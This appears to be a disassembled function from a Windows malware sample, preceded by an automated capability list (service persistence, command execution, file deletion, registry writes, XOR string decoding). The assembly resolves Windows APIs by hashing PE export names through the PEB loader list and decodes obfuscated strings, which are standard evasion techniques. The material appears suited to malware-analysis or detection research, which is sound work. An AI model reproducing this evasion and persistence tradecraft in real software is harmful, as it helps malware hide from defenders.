Function at 0x14002fcd0
Capabilities:
Access peb ldr_data
Capture network configuration via ipconfig
Delete file
Encode data using xor
Execute command
Hash data using fnv
Persist via windows service
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1350]
mov eax, 0x1450
call fcn.140046be0
sub rsp, rax
movaps xmmword [rsp + 0x1440], xmm6
movaps xmmword [rsp + 0x1430], xmm7
movaps xmmword [rsp + 0x1420], xmm8
movaps xmmword [rsp + 0x1410], xmm9
movaps xmmword [rsp + 0x1400], xmm10
movaps xmmword [rsp + 0x13f0], xmm11
movaps xmmword [rsp + 0x13e0], xmm12
movaps xmmword [rsp + 0x13d0], xmm13
movaps xmmword [rsp + 0x13c0], xmm14
movaps xmmword [rsp + 0x13b0], xmm15
mov rax, qword [0x14005c040]
xor rax, rsp
mov qword [rbp + 0x12a0], rax
mov dword [rsp + 0x58], 0
lea rdx, [0x14001fa00]
lea rcx, [rbp + 0x60]
call fcn.14003f4a0
nop
lea rcx, [rbp + 0x60]
call fcn.140022110
nop
cmp dword [rbp + 0x68], 0
je 0x14002fd96
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0x10d0], xmm0
lea rax, [rbp + 0x338]
mov qword [rbp + 0x10c0], rax
movups xmm0, xmmword [0x14004c150]
movups xmmword [rbp + 0x740], xmm0
movups xmm1, xmmword [0x14004c160]
movups xmmword [rbp + 0x750], xmm1
movups xmm0, xmmword [0x14004c170]
movups xmmword [rbp + 0x760], xmm0
movzx eax, word [0x14004c180]
mov word [rbp + 0x770], ax
movzx eax, byte [0x14004c182]
mov byte [rbp + 0x772], al
xor r8d, r8d
movdqa xmm8, xmmword [0x1400553b0]
movdqa xmm10, xmmword [0x1400553d0]
movdqa xmm9, xmmword [0x140055390]
movdqa xmm6, xmmword [0x1400553f0]
movdqa xmm7, xmmword [0x140055320]
mov r13d, dword [0x14005c090]
cmp r13d, 2
jl 0x14002ff2d
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x744]
mov edx, dword [rbp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002fe42
cmp r8d, 0x33
jge 0x14002ff70
movsxd rax, r8d
lea r9, [rbp + 0x740]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x14002ff40
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x338]
call fcn.140020bb0
mov rbx, rax
lea rcx, [rbp + 0x358]
call fcn.14001eef0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14001f7b0
test al, al
je 0x14002ffa9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rax, [rbp + 0x378]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [0x14004b128]
movups xmmword [rbp + 0x890], xmm0
movups xmm1, xmmword [0x14004b138]
movups xmmword [rbp + 0x8a0], xmm1
movups xmm0, xmmword [0x14004b148]
movups xmmword [rbp + 0x8b0], xmm0
mov eax, dword [0x14004b158]
mov dword [rbp + 0x8c0], eax
movzx eax, word [0x14004b15c]
mov word [rbp + 0x8c4], ax
movzx eax, byte [0x14004b15e]
mov byte [rbp + 0x8c6], al
xor r8d, r8d
cmp r13d, 2
jl 0x14003011b
movdqa xmmword [rbp + 0x70], xmm10
lea rcx, [rbp + 0x894]
mov edx, dword [rbp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140030030
cmp r8d, 0x37
jge 0x140030160
movsxd rax, r8d
lea r9, [rbp + 0x890]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140030130
lea rdx, [rbp + 0x890]
lea rcx, [rbp + 0x378]
call fcn.140020bb0
mov rbx, rax
lea rcx, [rbp + 0x398]
call fcn.14001eef0
nop
mov rdx, rbx
mov rcx, rax
call fcn.14001f7b0
test al, al
je 0x140030199
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rdx, [0x140023c30]
lea rcx, [rbp + 0x80]
call fcn.14003f4a0
nop
lea rcx, [rbp + 0x80]
call fcn.140022110
nop
cmp dword [rbp + 0x88], 0
je 0x1400301ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [0x14004ac10]
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030266
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030266
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x29837a12
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030261
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030240
cmp r8d, 0xe6778f3b
je 0x14003026b
test r9d, r9d
jne 0x140030220
mov rax, qword [rax]
jmp 0x1400301f0
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
movdqa xmm11, xmmword [0x140055330]
cmp r13d, 2
jl 0x140030363
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x10]
xorps xmm2, xmm1
movd dword [rbp - 0x10], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0xc]
xorps xmm2, xmm1
movd dword [rbp - 0xc], xmm2
jmp 0x1400303a2
lea r9, [rbp - 0x10]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140030370
lea rcx, [rbp - 0x10]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030436
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030436
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3227402a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030431
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030410
cmp r8d, 0xa3837e1f
je 0x14003043b
test r9d, r9d
jne 0x1400303f0
mov rax, qword [rax]
jmp 0x1400303c0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400304e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400304e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x66748d42
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400304e1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400304c0
cmp r8d, 0x842a3a07
je 0x1400304eb
test r9d, r9d
jne 0x1400304a0
mov rcx, qword [rcx]
jmp 0x140030470
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030596
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030596
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xc39bfc94
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140030591
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140030570
cmp r8d, 0xcc68621a
je 0x14003059b
test r9d, r9d
jne 0x140030550
mov rcx, qword [rcx]
jmp 0x140030520
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rbp + 0x10e0]
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030646
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030646
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x461a9dd5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030641
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030620
cmp r8d, 0xe145c21a
je 0x14003064b
test r9d, r9d
jne 0x140030600
mov rax, qword [rax]
jmp 0x1400305d0
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xfffffff5
call rax
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400306f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400306f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x93629aa7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400306f1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400306d0
cmp r8d, 0x30e9e3d8
je 0x1400306fb
test r9d, r9d
jne 0x1400306b0
mov rcx, qword [rcx]
jmp 0x140030680
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rbp + 0x10f0]
mov rcx, r15
call rax
movzx ecx, word [rbp + 0x1100]
sub cx, word [rbp + 0x10fc]
inc cx
movzx eax, word [rbp + 0x10f0]
mov word [rbp + 0x10c0], ax
mov word [rbp + 0x10c2], cx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400307d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400307d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xba706588
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400307d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400307b0
cmp r8d, 0x13958375
je 0x1400307db
test r9d, r9d
jne 0x140030790
mov rax, qword [rax]
jmp 0x140030760
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xffffffec
mov rcx, r12
call rax
mov esi, eax
bts esi, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400308a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400308a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r10d, r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xbd706a41
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400308a1
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030880
cmp r8d, 0x798ca250
je 0x1400308ae
test r9d, r9d
jne 0x140030850
mov rax, qword [rax]
jmp 0x140030820
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx eax, word [rcx + r10*2]
mov r10d, dword [r9 + rax*4]
add r10, r11
mov r8d, esi
mov edx, 0xffffffec
mov rcx, r12
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030966
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030966
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2b5df8c1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030961
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030940
cmp r8d, 0xc6eab200
je 0x14003096b
test r9d, r9d
jne 0x140030920
mov rax, qword [rax]
jmp 0x1400308f0
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030a26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030a26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xee01764a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030a21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030a00
cmp r8d, 0xae39c17f
je 0x140030a2b
test r9d, r9d
jne 0x1400309e0
mov rax, qword [rax]
jmp 0x1400309b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030ad6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030ad6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xb6cdbfee
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140030ad1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140030ab0
cmp r8d, 0xe1fdd593
je 0x140030adb
test r9d, r9d
jne 0x140030a90
mov rcx, qword [rcx]
jmp 0x140030a60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r14
call rax
mov esi, eax
and esi, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030b96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030b96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb3cff9cc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030b91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030b70
cmp r8d, 0xed0a6265
je 0x140030b9b
test r9d, r9d
jne 0x140030b50
mov rax, qword [rax]
jmp 0x140030b20
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r14
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xda964bf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030c51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030c30
cmp r8d, 0x96a76e31
je 0x140030c5b
test r9d, r9d
jne 0x140030c10
mov rax, qword [rax]
jmp 0x140030be0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, dword [rbp + 0x10c0]
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030d06
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030d06
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x70f35c44
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030d01
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030ce0
cmp r8d, 0xddeee2a
je 0x140030d0b
test r9d, r9d
jne 0x140030cc0
mov rax, qword [rax]
jmp 0x140030c90
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov dword [rsp + 0x30], 0x63
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030dd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030dd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x18725fc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030dd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030db0
cmp r8d, 0xcd186c59
je 0x140030ddb
test r9d, r9d
jne 0x140030d90
mov rax, qword [rax]
jmp 0x140030d60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r12
call rax
mov esi, eax
btr esi, 0x11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140030e96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140030e96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2f96d381
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140030e91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140030e70
cmp r8d, 0x8322d190
je 0x140030e9b
test r9d, r9d
jne 0x140030e50
mov rax, qword [rax]
jmp 0x140030e20
mov eax, dword [rdi + 0x24]
add rax, r10
movzx r9d, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
add rax, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r12
call rax
mov rcx, qword [0x14005e150]
call fcn.14000d4c0
mov rcx, qword [0x14005e150]
call fcn.14000d780
movups xmm0, xmmword [str.q_thb_YVMH_N_Q_913__:________R]
movups xmmword [rbp + 0x5e0], xmm0
movups xmm1, xmmword [0x14004c700]
movups xmmword [rbp + 0x5f0], xmm1
movzx eax, byte [0x14004c710]
